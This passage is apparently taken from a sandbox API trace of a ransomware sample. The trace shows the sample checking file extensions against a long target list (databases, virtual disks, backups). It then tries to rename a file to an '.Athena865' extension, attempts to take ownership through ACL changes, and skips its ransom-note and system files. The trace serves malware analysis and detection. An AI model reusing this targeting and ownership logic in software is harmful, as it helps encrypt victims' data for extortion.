(lpString="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.475] lstrlenW (lpString="bak") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.475] lstrlenW (lpString="ba_") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.475] lstrlenW (lpString="dbb") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.475] lstrlenW (lpString="vmdk") returned 4 [0035.475] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.475] lstrlenW (lpString="rar") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.475] lstrlenW (lpString="zip") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.475] lstrlenW (lpString="tgz") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.475] lstrlenW (lpString="vbox") returned 4 [0035.475] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.475] lstrlenW (lpString="vdi") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.475] lstrlenW (lpString="vhd") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.475] lstrlenW (lpString="vhdx") returned 4 [0035.475] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.475] lstrlenW (lpString="avhd") returned 4 [0035.475] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.475] lstrlenW (lpString="db") returned 2 [0035.475] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.475] lstrlenW (lpString="db2") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.475] lstrlenW (lpString="db3") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.475] lstrlenW (lpString="dbf") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.475] lstrlenW (lpString="mdf") returned 3 [0035.475] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.476] lstrlenW (lpString="mdb") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.476] lstrlenW (lpString="sql") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.476] lstrlenW (lpString="sqlite") returned 6 [0035.476] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.476] lstrlenW (lpString="sqlite3") returned 7 [0035.476] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.476] lstrlenW (lpString="sqlitedb") returned 8 [0035.476] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.476] lstrlenW (lpString="xml") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.476] lstrlenW (lpString="$er") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.476] lstrlenW (lpString="4dd") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.476] lstrlenW (lpString="4dl") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.476] lstrlenW (lpString="^^^") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.476] lstrlenW (lpString="abs") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.476] lstrlenW (lpString="abx") returned 3 [0035.476] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.476] lstrlenW (lpString="accdb") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.476] lstrlenW (lpString="accdc") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.476] lstrlenW (lpString="accde") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.476] lstrlenW (lpString="accdr") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.476] lstrlenW (lpString="accdt") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.476] lstrlenW (lpString="accdw") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.476] lstrlenW (lpString="accft") returned 5 [0035.476] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.476] lstrlenW (lpString="adb") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.477] lstrlenW (lpString="adb") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.477] lstrlenW (lpString="ade") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.477] lstrlenW (lpString="adf") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.477] lstrlenW (lpString="adn") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.477] lstrlenW (lpString="adp") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.477] lstrlenW (lpString="alf") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.477] lstrlenW (lpString="ask") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.477] lstrlenW (lpString="btr") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.477] lstrlenW (lpString="cat") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.477] lstrlenW (lpString="cdb") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.477] lstrlenW (lpString="ckp") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.477] lstrlenW (lpString="cma") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.477] lstrlenW (lpString="cpd") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.477] lstrlenW (lpString="dacpac") returned 6 [0035.477] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.477] lstrlenW (lpString="dad") returned 3 [0035.477] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.477] lstrlenW (lpString="dadiagrams") returned 10 [0035.477] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.477] lstrlenW (lpString="daschema") returned 8 [0035.477] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.477] lstrlenW (lpString="db-journal") returned 10 [0035.477] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.477] lstrlenW (lpString="db-shm") returned 6 [0035.478] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.478] lstrlenW (lpString="db-wal") returned 6 [0035.478] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.478] lstrlenW (lpString="dbc") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.478] lstrlenW (lpString="dbs") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.478] lstrlenW (lpString="dbt") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.478] lstrlenW (lpString="dbv") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.478] lstrlenW (lpString="dbx") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.478] lstrlenW (lpString="dcb") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.478] lstrlenW (lpString="dct") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.478] lstrlenW (lpString="dcx") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.478] lstrlenW (lpString="ddl") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.478] lstrlenW (lpString="dlis") returned 4 [0035.478] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.478] lstrlenW (lpString="dp1") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.478] lstrlenW (lpString="dqy") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.478] lstrlenW (lpString="dsk") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.478] lstrlenW (lpString="dsn") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.478] lstrlenW (lpString="dtsx") returned 4 [0035.478] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.478] lstrlenW (lpString="dxl") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.478] lstrlenW (lpString="eco") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.478] lstrlenW (lpString="ecx") returned 3 [0035.478] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.478] lstrlenW (lpString="edb") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.479] lstrlenW (lpString="epim") returned 4 [0035.479] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.479] lstrlenW (lpString="fcd") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.479] lstrlenW (lpString="fdb") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.479] lstrlenW (lpString="fic") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.479] lstrlenW (lpString="flexolibrary") returned 12 [0035.479] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.479] lstrlenW (lpString="fm5") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.479] lstrlenW (lpString="fmp") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.479] lstrlenW (lpString="fmp12") returned 5 [0035.479] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.479] lstrlenW (lpString="fmpsl") returned 5 [0035.479] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.479] lstrlenW (lpString="fol") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.479] lstrlenW (lpString="fp3") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.479] lstrlenW (lpString="fp4") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.479] lstrlenW (lpString="fp5") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.479] lstrlenW (lpString="fp7") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.479] lstrlenW (lpString="fpt") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.479] lstrlenW (lpString="frm") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.479] lstrlenW (lpString="gdb") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.479] lstrlenW (lpString="gdb") returned 3 [0035.479] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.479] lstrlenW (lpString="grdb") returned 4 [0035.479] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.480] lstrlenW (lpString="gwi") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.480] lstrlenW (lpString="hdb") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.480] lstrlenW (lpString="his") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.480] lstrlenW (lpString="ib") returned 2 [0035.480] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.480] lstrlenW (lpString="idb") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.480] lstrlenW (lpString="ihx") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.480] lstrlenW (lpString="itdb") returned 4 [0035.480] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.480] lstrlenW (lpString="itw") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.480] lstrlenW (lpString="jet") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.480] lstrlenW (lpString="jtx") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.480] lstrlenW (lpString="kdb") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.480] lstrlenW (lpString="kexi") returned 4 [0035.480] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.480] lstrlenW (lpString="kexic") returned 5 [0035.480] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.480] lstrlenW (lpString="kexis") returned 5 [0035.480] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.480] lstrlenW (lpString="lgc") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.480] lstrlenW (lpString="lwx") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.480] lstrlenW (lpString="maf") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.480] lstrlenW (lpString="maq") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.480] lstrlenW (lpString="mar") returned 3 [0035.480] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.480] lstrlenW (lpString="marshal") returned 7 [0035.480] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.481] lstrlenW (lpString="mas") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.481] lstrlenW (lpString="mav") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.481] lstrlenW (lpString="maw") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.481] lstrlenW (lpString="mdbhtml") returned 7 [0035.481] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.481] lstrlenW (lpString="mdn") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.481] lstrlenW (lpString="mdt") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.481] lstrlenW (lpString="mfd") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.481] lstrlenW (lpString="mpd") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.481] lstrlenW (lpString="mrg") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.481] lstrlenW (lpString="mud") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.481] lstrlenW (lpString="mwb") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.481] lstrlenW (lpString="myd") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.481] lstrlenW (lpString="ndf") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.481] lstrlenW (lpString="nnt") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.481] lstrlenW (lpString="nrmlib") returned 6 [0035.481] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.481] lstrlenW (lpString="ns2") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.481] lstrlenW (lpString="ns3") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.481] lstrlenW (lpString="ns4") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.481] lstrlenW (lpString="nsf") returned 3 [0035.481] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.481] lstrlenW (lpString="nv") returned 2 [0035.481] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.481] lstrlenW (lpString="nv2") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.482] lstrlenW (lpString="nwdb") returned 4 [0035.482] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.482] lstrlenW (lpString="nyf") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.482] lstrlenW (lpString="odb") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.482] lstrlenW (lpString="odb") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.482] lstrlenW (lpString="oqy") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.482] lstrlenW (lpString="ora") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.482] lstrlenW (lpString="orx") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.482] lstrlenW (lpString="owc") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.482] lstrlenW (lpString="p96") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.482] lstrlenW (lpString="p97") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.482] lstrlenW (lpString="pan") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.482] lstrlenW (lpString="pdb") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.482] lstrlenW (lpString="pdm") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.482] lstrlenW (lpString="pnz") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.482] lstrlenW (lpString="qry") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.482] lstrlenW (lpString="qvd") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.482] lstrlenW (lpString="rbf") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.482] lstrlenW (lpString="rctd") returned 4 [0035.482] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.482] lstrlenW (lpString="rod") returned 3 [0035.482] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.483] lstrlenW (lpString="rodx") returned 4 [0035.483] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.483] lstrlenW (lpString="rpd") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.483] lstrlenW (lpString="rsd") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.483] lstrlenW (lpString="sas7bdat") returned 8 [0035.483] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.483] lstrlenW (lpString="sbf") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.483] lstrlenW (lpString="scx") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.483] lstrlenW (lpString="sdb") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.483] lstrlenW (lpString="sdc") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.483] lstrlenW (lpString="sdf") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.483] lstrlenW (lpString="sis") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.483] lstrlenW (lpString="spq") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.483] lstrlenW (lpString="te") returned 2 [0035.483] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.483] lstrlenW (lpString="teacher") returned 7 [0035.483] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.483] lstrlenW (lpString="tmd") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.483] lstrlenW (lpString="tps") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.483] lstrlenW (lpString="trc") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.483] lstrlenW (lpString="trc") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.483] lstrlenW (lpString="trm") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.483] lstrlenW (lpString="udb") returned 3 [0035.483] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.484] lstrlenW (lpString="udl") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.484] lstrlenW (lpString="usr") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.484] lstrlenW (lpString="v12") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.484] lstrlenW (lpString="vis") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.484] lstrlenW (lpString="vpd") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.484] lstrlenW (lpString="vvv") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.484] lstrlenW (lpString="wdb") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.484] lstrlenW (lpString="wmdb") returned 4 [0035.484] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.484] lstrlenW (lpString="wrk") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.484] lstrlenW (lpString="xdb") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.484] lstrlenW (lpString="xld") returned 3 [0035.484] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.484] lstrlenW (lpString="xmlff") returned 5 [0035.484] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.484] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.484] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.484] GetLastError () returned 0x5 [0035.484] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.484] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.484] SetEntriesInAclW () returned 0x0 [0035.484] SetNamedSecurityInfoW () returned 0x5 [0035.484] SetNamedSecurityInfoW () returned 0x5 [0035.485] LocalFree (hMem=0x529490) returned 0x0 [0035.485] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.485] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.485] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0035.485] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.485] CloseHandle (hObject=0x154) returned 1 [0035.486] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.486] CloseHandle (hObject=0x0) returned 0 [0035.486] CloseHandle (hObject=0x0) returned 0 [0035.486] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3c595fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3c595fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa31628c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5da18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{B426F~1")) returned 1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.486] lstrcmpiW (lpString1="{b426f660-7189-11e7-86ab-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.486] lstrcmpiW 